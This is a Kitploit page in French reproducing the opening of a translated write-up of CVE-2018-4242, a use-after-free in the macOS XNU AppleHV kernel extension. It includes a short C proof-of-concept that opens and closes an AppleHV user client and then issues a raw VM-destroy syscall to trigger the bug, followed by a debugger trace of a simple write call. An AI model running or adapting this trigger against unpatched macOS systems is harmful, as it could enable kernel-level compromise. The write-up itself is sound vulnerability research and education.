Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation- — Analyse technique détaillée et traduction de CVE-2018-4242, une vulnérabilité du noyau XNU dans AppleHV, avec code PoC, analyse de rétro-ingénierie, et explication des appels système, MIG et IOKit. | Kitploit
Outils/GitHubGitHub/yeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-
Analyse des VulnérabilitésExploitationRétro-ingénierieArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubyeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-

Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation-

Analyse technique détaillée et traduction de CVE-2018-4242, une vulnérabilité du noyau XNU dans AppleHV, avec code PoC, analyse de rétro-ingénierie, et explication des appels système, MIG et IOKit.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 7 ansPas encore vérifié

Regard sur le XNU à travers un tube - Analyse de CVE-2018-4242

Zhuo Liang de l'équipe Nirvan de Qihoo 360

Sommaire

1 Introduction 1

1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1

2 Le noyau XNU 2

2.1 Appel système . . . . . . . . . . . . . . . . . . . . . . . . . . 2

2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2.1 mach_msg Et Port Mach . . . . . . . . . . . . . . . . . . 6

2.2.2 MIG : Générateur d'interfaces RPC . . . . . . . . . . . . 8

2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12

3 AppleHV 12

3.1 Reverse engineering . . . . . . . . . . . . . . . . . . . . . . 12

3.2 Vulnérabilité . . . . . . . . . . . . . . . . . . . . . . . . . 16

3.3 Correction . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

4 Conclusion 17

1 Introduction

1.1 CVE-2018-4242

Apple a publié la semaine dernière une mise à jour de sécurité macOS 10.13.4 pour CVE-2018-4242, signalée en mars. Cette CVE-2018-4242 est une vulnérabilité qui pourrait exposer un programme malveillant en exécutant du code arbitraire avec les privilèges du noyau. Ce rapport vous aidera à examiner XNU à travers ce problème. Le code de la Listing 1 est le POC que nous avons démontré. Le code source complet peut être téléchargé depuis github.

root@kitploit:~
1 // AppleHVUaF.c
2 void destroy_vm() {
3   asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4   return;
5 }
6 int main(int argc, char **argv) {
7   const char *service_name = "AppleHV";
8   io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10  if (service == MACH_PORT_NULL) {
11    printf("[−] Cannot get matching service of %s\n", service_name);
12    return 0;
13  }
14  printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16  io_connect_t client = MACH_PORT_NULL;
17  kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18  if (ret != KERN_SUCCESS) {
19    printf("[−] Open service of %s failed!\n", service_name);
20    return 0;
21  }
22  printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23  service_name, client);
24  IOServiceClose(client);
25  usleep(5);
26  destroy_vm();
27  return 0;
28 }

​ Listing 1 : PoC pour CVE-2018-4242

Pour comprendre ce code, quelques connaissances de base sur XNU sont nécessaires. Pour les lecteurs débutants avec XNU, la section 2 couvrira le contenu sur XNU. Si vous connaissez déjà les éléments ci-dessous, vous pouvez commencer à partir de la section 3.

  • Classes d'appels système dans XNU
  • MIG, alias générateur d'interfaces RPC dans XNU
  • Sous-système IOKit

Section 1 Introduction
Section 2 Connaissances de base de XNU
Section 3 Reverse de AppleHV.kext et détails de CVE-2018-4242
Section 4 Conclusion

2 Le noyau XNU

2.1 Appel système

Comme nous le savons tous, un appel système en informatique est un moyen pour les programmes d'interagir avec le système d'exploitation. Les processus en espace utilisateur peuvent demander des services au système d'exploitation via un appel système. Dans XNU, il existe quatre classes d'appels système qui alimentent toutes les interactions utilisateur-noyau. Penchons-nous sur celles-ci à travers l'instruction syscall comme illustré dans la Listing 1. ​ syscall sur l'architecture x86_64 est le type d'instruction qui peut invoquer un gestionnaire d'appel système du noyau dans l'espace noyau. La Listing 2 illustre le fonctionnement de syscall à travers un exemple simple d'écriture.

root@kitploit:~
~ cat write.c
2 #include 
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"

​ Listing 2 : Exemple simple d'écriture

Télécharger l’outil